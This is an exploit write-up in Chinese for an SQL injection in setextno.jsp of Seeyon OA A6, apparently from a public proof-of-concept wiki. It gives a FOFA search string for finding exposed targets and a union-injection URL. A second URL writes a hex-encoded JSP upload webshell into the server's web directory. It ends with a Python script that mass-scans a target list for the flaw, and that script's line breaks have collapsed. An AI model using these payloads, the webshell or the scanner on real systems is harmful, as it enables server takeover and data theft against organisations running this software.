致远OA A6 setextno.jsp 存在sql注入漏洞，并可以通过注入写入webshell文件控制服务器
漏洞影响[!NOTE]
致远OA A6
FOFA[!NOTE]
title="致远A8+协同管理软件.A6"
漏洞复现访问如下Url，其中含有 union注入
http://xxx.xxx.xxx.xxx/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(1)),4#查看web路径
写入文件上传木马
http://xxx.xxx.xxx/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(select unhex('3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E') into outfile 'D:/Program Files/UFseeyon/OA/tomcat/webapps/yyoa/peiqi_upload.jsp'),4#剩下的步骤参考另一篇 致远OA A6 test.jsp SQL注入漏洞
漏洞利用POC[!NOTE]
多个目标
import requestsimport sysimport randomimport refrom requests.packages.urllib3.exceptions import InsecureRequestWarningdef title():print('+------------------------------------------')print('+ \033[34mPOC_Des: http://wiki.peiqi.tech\033[0m')print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')print('+ \033[34m公众号 : PeiQi文库\033[0m')print('+ \033[34mVersion: 致远OA A6 \033[0m')print('+ \033[36m使用格式: python3 poc.py\033[0m')print('+ \033[36mFile >>> ip.txt \033[0m')print('+------------------------------------------')def POC_1(target_url):vuln_url = target_url + "/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(1)),4#"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}try:requests.packages.urllib3.disable_warnings(InsecureRequestWarning)response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)if response.status_code == 200 and "c4ca4238a0b923820dcc509a6f75849b" in response.text:print("\033[32m[o] 目标 {} 存在漏洞 \033[0m".format(target_url, vuln_url))else:print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))except Exception as e:print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))def Scan(file_name):with open(file_name, "r", encoding='utf8') as scan_url:for url in scan_url:if url[:4] != "http":url = "http://" + urlurl = url.strip('\n')try:POC_1(url)except Exception as e:print("\033[31m[x] 请求报错 \033[0m".format(e))continueif __name__ == '__main__':title()file_name = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))Scan(file_name)Goby & POC[!NOTE]
已上传 https://github.com/PeiQi0/PeiQi-WIKI-POC Goby & POC 目录中
Seeyon_OA_A6_setextno.jsp_SQL_injection
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